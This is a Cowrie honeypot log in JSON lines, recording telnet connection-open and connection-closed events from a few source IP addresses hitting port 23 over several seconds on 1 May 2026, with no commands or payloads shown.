{"eventid":"cowrie.session.closed","duration":31.759650468826294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.532820Z","src_ip":"51.161.172.108","session":"c2daf5a1b5a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48234,"dst_ip":"159.203.135.109","dst_port":23,"session":"be2231989002","protocol":"telnet","message":"New connection: 51.161.172.108:48234 (159.203.135.109:23) [session: be2231989002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.626185Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40146,"dst_ip":"159.203.135.109","dst_port":23,"session":"39cbb757c6e9","protocol":"telnet","message":"New connection: 167.99.38.72:40146 (159.203.135.109:23) [session: 39cbb757c6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:26.761105Z"}
{"eventid":"cowrie.session.closed","duration":30.669617176055908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.062852Z","src_ip":"45.10.154.244","session":"8be25ee33d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976280212402344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.092340Z","src_ip":"45.10.154.244","session":"a8ef057379f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48254,"dst_ip":"159.203.135.109","dst_port":23,"session":"30147d3f7cd6","protocol":"telnet","message":"New connection: 51.161.172.108:48254 (159.203.135.109:23) [session: 30147d3f7cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.097718Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":42960,"dst_ip":"159.203.135.109","dst_port":23,"session":"962f71d27754","protocol":"telnet","message":"New connection: 167.99.38.72:42960 (159.203.135.109:23) [session: 962f71d27754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.229539Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48260,"dst_ip":"159.203.135.109","dst_port":23,"session":"78091fd6ee0d","protocol":"telnet","message":"New connection: 51.161.172.108:48260 (159.203.135.109:23) [session: 78091fd6ee0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.235117Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48270,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a94fae2012","protocol":"telnet","message":"New connection: 51.161.172.108:48270 (159.203.135.109:23) [session: 34a94fae2012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.388592Z"}
{"eventid":"cowrie.session.closed","duration":31.00003147125244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.399405Z","src_ip":"51.161.172.108","session":"7f764596acac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48316,"dst_ip":"159.203.135.109","dst_port":23,"session":"85f34ce6594d","protocol":"telnet","message":"New connection: 51.161.172.108:48316 (159.203.135.109:23) [session: 85f34ce6594d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.534161Z"}
{"eventid":"cowrie.session.closed","duration":31.20018172264099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.551823Z","src_ip":"51.161.172.108","session":"7a14935e2926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48584,"dst_ip":"10.17.0.5","dst_port":23,"session":"848178bcee2a","protocol":"telnet","message":"New connection: 45.10.154.244:48584 (10.17.0.5:23) [session: 848178bcee2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.600815Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48348,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf8af8eb02ea","protocol":"telnet","message":"New connection: 51.161.172.108:48348 (159.203.135.109:23) [session: cf8af8eb02ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.798069Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":50064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77c22cf89ca","protocol":"telnet","message":"New connection: 45.10.154.244:50064 (10.17.0.5:23) [session: b77c22cf89ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.955213Z"}
{"eventid":"cowrie.session.closed","duration":32.04023289680481,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.971374Z","src_ip":"51.161.172.108","session":"8c78ab012b80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":50130,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73b6e0fef9a","protocol":"telnet","message":"New connection: 45.10.154.244:50130 (10.17.0.5:23) [session: f73b6e0fef9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:27.984052Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48382,"dst_ip":"159.203.135.109","dst_port":23,"session":"81ac1a8d54b5","protocol":"telnet","message":"New connection: 51.161.172.108:48382 (159.203.135.109:23) [session: 81ac1a8d54b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:28.044177Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48386,"dst_ip":"159.203.135.109","dst_port":23,"session":"a673e05d657b","protocol":"telnet","message":"New connection: 51.161.172.108:48386 (159.203.135.109:23) [session: a673e05d657b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:28.077041Z"}
{"eventid":"cowrie.session.closed","duration":31.03252410888672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:28.302759Z","src_ip":"51.161.172.108","session":"e16924cfe02f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48428,"dst_ip":"159.203.135.109","dst_port":23,"session":"fae880d3763e","protocol":"telnet","message":"New connection: 51.161.172.108:48428 (159.203.135.109:23) [session: fae880d3763e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:28.377156Z"}
{"eventid":"cowrie.session.closed","duration":31.38533854484558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:28.493270Z","src_ip":"51.161.172.108","session":"7b84849c971f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48360,"dst_ip":"159.203.135.109","dst_port":23,"session":"088b56a13962","protocol":"telnet","message":"New connection: 51.161.172.108:48360 (159.203.135.109:23) [session: 088b56a13962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:28.714107Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48492,"dst_ip":"159.203.135.109","dst_port":23,"session":"571c8c860b7d","protocol":"telnet","message":"New connection: 51.161.172.108:48492 (159.203.135.109:23) [session: 571c8c860b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:28.820606Z"}
{"eventid":"cowrie.session.closed","duration":31.308354139328003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.079720Z","src_ip":"51.161.172.108","session":"6f4363d6cb07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55110,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b395ade9f58","protocol":"telnet","message":"New connection: 45.10.154.244:55110 (10.17.0.5:23) [session: 2b395ade9f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.185604Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48424,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f1de158a18","protocol":"telnet","message":"New connection: 51.161.172.108:48424 (159.203.135.109:23) [session: d2f1de158a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.192851Z"}
{"eventid":"cowrie.session.closed","duration":30.578685760498047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.285078Z","src_ip":"51.161.172.108","session":"00c1063fbb13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.750194787979126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.347759Z","src_ip":"51.161.172.108","session":"68bacf5898ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56192,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca297824346","protocol":"telnet","message":"New connection: 45.10.154.244:56192 (10.17.0.5:23) [session: 0ca297824346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.432895Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41474,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a17dd5ba3e3","protocol":"telnet","message":"New connection: 51.161.172.108:41474 (159.203.135.109:23) [session: 3a17dd5ba3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.517302Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41460,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24bca8f405f","protocol":"telnet","message":"New connection: 51.161.172.108:41460 (159.203.135.109:23) [session: b24bca8f405f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.566195Z"}
{"eventid":"cowrie.session.closed","duration":31.219810485839844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.574066Z","src_ip":"51.161.172.108","session":"8d191ab0608d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41520,"dst_ip":"159.203.135.109","dst_port":23,"session":"aad99a11c022","protocol":"telnet","message":"New connection: 51.161.172.108:41520 (159.203.135.109:23) [session: aad99a11c022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.715162Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41540,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4f8419d8a18","protocol":"telnet","message":"New connection: 51.161.172.108:41540 (159.203.135.109:23) [session: a4f8419d8a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.722233Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2cb3d2c6c8c","protocol":"telnet","message":"New connection: 51.161.172.108:41528 (159.203.135.109:23) [session: d2cb3d2c6c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.725816Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41544,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb29387ebbc","protocol":"telnet","message":"New connection: 51.161.172.108:41544 (159.203.135.109:23) [session: 1eb29387ebbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:29.788184Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41602,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cdddf3c9a52","protocol":"telnet","message":"New connection: 51.161.172.108:41602 (159.203.135.109:23) [session: 5cdddf3c9a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:30.184021Z"}
{"eventid":"cowrie.session.closed","duration":32.17846870422363,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:30.216525Z","src_ip":"51.161.172.108","session":"a33c888e2968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41642,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f7bc024234e","protocol":"telnet","message":"New connection: 51.161.172.108:41642 (159.203.135.109:23) [session: 8f7bc024234e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:30.400286Z"}
{"eventid":"cowrie.session.closed","duration":30.757189750671387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:30.454461Z","src_ip":"51.161.172.108","session":"d3b4df7e67a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"9df6fa0bd122","protocol":"telnet","message":"New connection: 51.161.172.108:41738 (159.203.135.109:23) [session: 9df6fa0bd122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:30.876603Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41748,"dst_ip":"159.203.135.109","dst_port":23,"session":"c78d6006f94f","protocol":"telnet","message":"New connection: 51.161.172.108:41748 (159.203.135.109:23) [session: c78d6006f94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:30.904816Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41756,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9afd6583cf8","protocol":"telnet","message":"New connection: 51.161.172.108:41756 (159.203.135.109:23) [session: b9afd6583cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:30.948197Z"}
{"eventid":"cowrie.session.closed","duration":31.29807734489441,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.012987Z","src_ip":"51.161.172.108","session":"3262e2b60ad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41588,"dst_ip":"159.203.135.109","dst_port":23,"session":"60648439ed5b","protocol":"telnet","message":"New connection: 51.161.172.108:41588 (159.203.135.109:23) [session: 60648439ed5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.058174Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41758,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea2d9cd632da","protocol":"telnet","message":"New connection: 51.161.172.108:41758 (159.203.135.109:23) [session: ea2d9cd632da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.081018Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41764,"dst_ip":"159.203.135.109","dst_port":23,"session":"905aba41f82c","protocol":"telnet","message":"New connection: 51.161.172.108:41764 (159.203.135.109:23) [session: 905aba41f82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.229512Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41614,"dst_ip":"159.203.135.109","dst_port":23,"session":"c51120b059b0","protocol":"telnet","message":"New connection: 51.161.172.108:41614 (159.203.135.109:23) [session: c51120b059b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.309546Z"}
{"eventid":"cowrie.session.closed","duration":30.91161823272705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.456375Z","src_ip":"51.161.172.108","session":"06a9ab84e593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41658,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4c2ad542713","protocol":"telnet","message":"New connection: 51.161.172.108:41658 (159.203.135.109:23) [session: c4c2ad542713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.495125Z"}
{"eventid":"cowrie.session.closed","duration":31.239079236984253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.500238Z","src_ip":"51.161.172.108","session":"e11a2e639dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41724,"dst_ip":"159.203.135.109","dst_port":23,"session":"7da90395b84e","protocol":"telnet","message":"New connection: 51.161.172.108:41724 (159.203.135.109:23) [session: 7da90395b84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.752529Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41832,"dst_ip":"159.203.135.109","dst_port":23,"session":"466da38fc1f6","protocol":"telnet","message":"New connection: 51.161.172.108:41832 (159.203.135.109:23) [session: 466da38fc1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:31.942541Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41862,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a617f8e696","protocol":"telnet","message":"New connection: 51.161.172.108:41862 (159.203.135.109:23) [session: 31a617f8e696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.066437Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41878,"dst_ip":"159.203.135.109","dst_port":23,"session":"278e42f673c5","protocol":"telnet","message":"New connection: 51.161.172.108:41878 (159.203.135.109:23) [session: 278e42f673c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.085799Z"}
{"eventid":"cowrie.session.closed","duration":30.802297115325928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.119645Z","src_ip":"45.10.154.244","session":"3118aef7bd39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42000,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc3d3cad2bf8","protocol":"telnet","message":"New connection: 51.161.172.108:42000 (159.203.135.109:23) [session: cc3d3cad2bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.397580Z"}
{"eventid":"cowrie.session.closed","duration":31.45718026161194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.403013Z","src_ip":"51.161.172.108","session":"60f17e99979f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":41878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de91e260a70","protocol":"telnet","message":"New connection: 45.10.154.244:41878 (10.17.0.5:23) [session: 0de91e260a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.804503Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42112,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c7f5074a7df","protocol":"telnet","message":"New connection: 51.161.172.108:42112 (159.203.135.109:23) [session: 7c7f5074a7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.868483Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41820,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a95084b7f57","protocol":"telnet","message":"New connection: 51.161.172.108:41820 (159.203.135.109:23) [session: 5a95084b7f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.944672Z"}
{"eventid":"cowrie.session.closed","duration":31.71919894218445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:32.949909Z","src_ip":"51.161.172.108","session":"11ab95656b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.91300892829895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.050921Z","src_ip":"51.161.172.108","session":"cc0da6bc6ef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42136,"dst_ip":"159.203.135.109","dst_port":23,"session":"1581f5136b34","protocol":"telnet","message":"New connection: 51.161.172.108:42136 (159.203.135.109:23) [session: 1581f5136b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.080283Z"}
{"eventid":"cowrie.session.closed","duration":32.275015354156494,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.132655Z","src_ip":"51.161.172.108","session":"316303f6b153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41902,"dst_ip":"159.203.135.109","dst_port":23,"session":"8033df3a295c","protocol":"telnet","message":"New connection: 51.161.172.108:41902 (159.203.135.109:23) [session: 8033df3a295c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.231991Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41976,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3bc3bfd557","protocol":"telnet","message":"New connection: 51.161.172.108:41976 (159.203.135.109:23) [session: 0b3bc3bfd557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.421918Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42156,"dst_ip":"159.203.135.109","dst_port":23,"session":"517641bcac9c","protocol":"telnet","message":"New connection: 51.161.172.108:42156 (159.203.135.109:23) [session: 517641bcac9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.442069Z"}
{"eventid":"cowrie.session.closed","duration":31.050385236740112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.508496Z","src_ip":"51.161.172.108","session":"48a2683a5ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41634,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdacdd08d3a1","protocol":"telnet","message":"New connection: 51.161.172.108:41634 (159.203.135.109:23) [session: bdacdd08d3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.519966Z"}
{"eventid":"cowrie.session.closed","duration":31.05784511566162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.766106Z","src_ip":"51.161.172.108","session":"c80b8c18ba10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.964502811431885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.860334Z","src_ip":"51.161.172.108","session":"7a24033942e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.866987705230713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.863366Z","src_ip":"51.161.172.108","session":"58a5f02ae344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42196,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d1048544d6","protocol":"telnet","message":"New connection: 51.161.172.108:42196 (159.203.135.109:23) [session: 05d1048544d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.927271Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42186,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b407a752c7a","protocol":"telnet","message":"New connection: 51.161.172.108:42186 (159.203.135.109:23) [session: 2b407a752c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:33.998867Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46256,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e330f4d061f","protocol":"telnet","message":"New connection: 45.10.154.244:46256 (10.17.0.5:23) [session: 7e330f4d061f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.017718Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42230,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1cc530bac06","protocol":"telnet","message":"New connection: 51.161.172.108:42230 (159.203.135.109:23) [session: b1cc530bac06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:34.094305Z"}
